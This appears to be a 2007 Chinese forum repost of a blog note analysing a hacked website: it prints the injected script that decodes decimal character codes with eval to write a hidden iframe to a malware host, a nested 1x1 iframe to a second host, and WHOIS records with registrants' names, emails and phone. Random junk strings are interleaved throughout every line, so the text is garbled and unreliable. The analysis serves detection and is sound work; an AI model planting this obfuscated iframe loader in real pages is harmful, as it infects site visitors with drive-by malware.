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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, ~a3u['B  
5tkKd4VfL  
http://www.areway.cn/?p=175 6~ y'  
vOCaru?~h  
.H M3s  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: CeOA_M  
          rxMo7px@}I  
<script>t=’60,105,102,114,97,109,101, RAhDSDf  
32,115,114,99,61,104,116,116,112,58,47,47, \hI?XnL#  
102,114,101,101,46,117,45,117,117,117,46,99, oI`Mn3N  
110,47,101,114,114,111,114,46,104,116,109, 44~ReN}`  
32,119,105,100,116,104,61,49,48,48,32,104, D9P,[:"  
101,105,103,104,116,61,48,62,60,47,105,102, `{K-eHlrM9  
114,97,109,101,62′; 0e#PN@  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> L.;x=w  
                                                                                                  iJ*Wsp  
<script>t=’60,105,102,114,97,109,101,32,115, k0\a7$}F  
114,99,61,104,116,116,112,58,47,47,102,114, NWiDNK[VE}  
101,101,46,117,45,117,117,117,46,99,110,47, 60%fva  
101,114,114,111,114,46,104,116,109,32,119, 7;'UC','  
105,100,116,104,61,49,48,48,32,104,101,105, ^Lfwoy7R  
103,104,116,61,48,62,60,47,105,102,114,97, ,MJddbcg  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); KLG.?`h:  
document.write(t);</script> la)+"uW  
                                                                                                  |zfFB7}v  
<html xmlns=” $1d{R;b[  
http://www.w3.org/1999/xhtml FdnLxw  
“> cy mC?8<  
<head> gzVZPvTPE  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> &Q"vXs6Gt  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />  Br s}  
<title>首页 - 爱生活家庭网 >m%TUQ#%  
                                                                                                                                                    S{2;PaK  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 yr>J^Et%_  
转换字符串后的大概内容是(谁点击后果自付): xo @|;Z>&F  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… /{8Y,pZbu  
                                                                                                                                  U,yZ.1V^:  
查询玉米u-uuu.cn的详细信息: 6?US<<MQ  
Domain Name: u-uuu.cn qgEzK  
ROID: 20070901s10001s64972306-cn cC$YD]XdIA  
Domain Status: ok [-Y~g%M  
Registrant Organization: 王雷 GFbn>dY  
Registrant Name: 王雷 #2Q%sE?  
Administrative Email: czlovexs@126.com $$4flfx  
Sponsoring Registrar: 北京万网志成科技有限公司 ZT/f  
Name Server:ns.yovole.com buzpmRoN)  
Name Server:ns1.yovole.com j+AZ!$E  
Registration Date: 2007-09-01 17:54 W6EEC<$JL  
Expiration Date: 2008-09-01 17:54 twldwuN  
最后PING了一下地址 都没有什么…. !}U3{L-  
                                                                                                x7l}u`N4  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. Dqwd=$2%  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> '#j6ZC/?  
<script language=”javascript” src=” KdHkX+-R  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script }>y~P~`S:  
> !(Y|Vm'   
这个玉米应该有可能是木马作者的: :u=y7[I  
foafau.info的详细信息: (kK8 OxfF  
Access to INFO WHOIS information is provided to assist persons in *Z.{1  
determining the contents of a domain name registration record in the f]Aa$\@b  
Afilias registry database. The data in this record is provided by j;j~R3B  
Afilias Limited for informational purposes only, and Afilias does not fWfhs}_  
guarantee its accuracy.  This service is intended only for query-based t,XbF  
access. You agree that you will use this data only for lawful purposes zTG1 0  
and that, under no circumstances will you use this data to: (a) allow, +YCWoX 2  
enable, or otherwise support the transmission by e-mail, telephone, or [.$%ti*!  
facsimile of mass unsolicited, commercial advertising or solicitations {#z47Rz  
to entities other than the data recipient’s own existing customers; or u|ihUE!h  
(b) enable high volume, automated, electronic processes that send 32J/   
queries or data to the systems of Registry Operator, a Registrar, or <daH0l0  
Afilias except as reasonably necessary to register domain names or ?_uan  
modify existing registrations. All rights reserved. Afilias reserves @c8RlW/A  
the right to modify these terms at any time. By submitting this query, AoxORPp'  
you agree to abide by this policy. 4TU\SP8sM  
Domain ID:D22418703-LRMS ?_S);  
Domain Name:FOAFAU.INFO &];W#9"Z  
Created On:20-Nov-2007 16:05:42 UTC n.5M6i/~a  
Last Updated On:20-Nov-2007 16:05:44 UTC HH(2  
Expiration Date:20-Nov-2008 16:05:42 UTC &V &beq4)p  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) 7{S;~VH3  
Status:CLIENT DELETE PROHIBITED 'S v V10$5  
Status:CLIENT RENEW PROHIBITED ,e`n2)  
Status:CLIENT TRANSFER PROHIBITED X&49C:jN  
Status:CLIENT UPDATE PROHIBITED @{<^rLt  
Status:TRANSFER PROHIBITED 5 8U[IGs(  
Registrant ID:GODA-040110615 PDgZb  
Registrant Name:liu hong O6-';H:I]L  
Registrant Organization: \:n<&<aVSr  
Registrant Street1:beijing ZS_  z  
Registrant Street2: T|YMU?4  
Registrant Street3: Z>1yLt@ls  
Registrant City:beijing [["eK9 }0  
Registrant State/Province: B=_5gZ4Y  
Registrant Postal Code:100000 M6]:^;p'  
Registrant Country:CN \Z~@/OVc  
Registrant Phone:+86.860108888777 Pa|*Jcr  
Registrant Phone Ext.: Uul5h8F  
Registrant FAX: 6_9@s*=d>  
Registrant FAX Ext.: m9 D*I1  
Registrant Email:bbbshiji@163.com ky]L`w  
Admin ID:GODA-240110615 ]wbV1Y"  
Admin Name:liu hong 3<a|_(K  
Admin Organization: fx^yC.$2  
Admin Street1:beijing l0',B*og  
Admin Street2: \Y:zg3q*  
Admin Street3: ] TZ/=Id  
Admin City:beijing (h@~0S  
Admin State/Province: *a(GG  
Admin Postal Code:100000 G [yI[7=d  
Admin Country:CN [*ug:PG  
Admin Phone:+86.860108888777 ~me/ve  
Admin Phone Ext.: r0'a-Mk;  
Admin FAX: yzNDXA.  
Admin FAX Ext.: mG *Yv  
Admin Email:bbbshiji@163.com !*"#*)S.  
Billing ID:GODA-340110615 O+Db#FW  
Billing Name:liu hong cSTL.QF  
Billing Organization: Qq.Ja%Zq  
Billing Street1:beijing FA%BzU5^  
Billing Street2: CA/Lv{[2  
Billing Street3: +- hfl/$  
Billing City:beijing J?&%fI  
Billing State/Province: 6LT.ng  
Billing Postal Code:100000 bSTTr<W  
Billing Country:CN z=rSb4"W  
Billing Phone:+86.860108888777 >dDcm  
Billing Phone Ext.: mLHl]xs4  
Billing FAX: Ci3 b(KR  
Billing FAX Ext.: 7$L*nf  
Billing Email:bbbshiji@163.com E|VTbE YG  
Tech ID:GODA-140110615 ICWHEot  
Tech Name:liu hong V-dub{K  
Tech Organization: Djp;\.$(  
Tech Street1:beijing W>u$x=<T  
Tech Street2: Fcn@j#[J  
Tech Street3: &D7Mv5i0@  
Tech City:beijing }?U #@ h  
Tech State/Province: u$"Ew^C  
Tech Postal Code:100000 @[ '?AsO  
Tech Country:CN .z,`{-7U  
Tech Phone:+86.860108888777 G$lE0_j2{  
Tech Phone Ext.: W=K+kB  
Tech FAX: sg<c1  
Tech FAX Ext.: a7z% )i;Z  
Tech Email:bbbshiji@163.com S)^eHuXPI  
Name Server:NS27.DOMAINCONTROL.COM jyRz53  
Name Server:NS28.DOMAINCONTROL.COM O3p<7`K<4  
Name Server: -}>H3hr  
Name Server: > mP([]  
Name Server: y(**F8>?xE  
Name Server: xUB{{8B:L  
Name Server: bg*@N  
Name Server: SXV f&8  
Name Server: Gfle"_4m8  
Name Server: !@)tkhP  
Name Server: drB$q [Ak9  
Name Server: X'7MW? q@  
Name Server: Q6PMRG}/o  
                                                                                                          3+vMi[YO  
接着下载每个文件里面的代码: 55Ye7P-d  
一步一步看.. -wnBdL  
PW*[(VX  
qD}O_<_1ym  
P[P]oT.N  
-D_xA10  
|f[:mO   
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
级别: 店掌柜
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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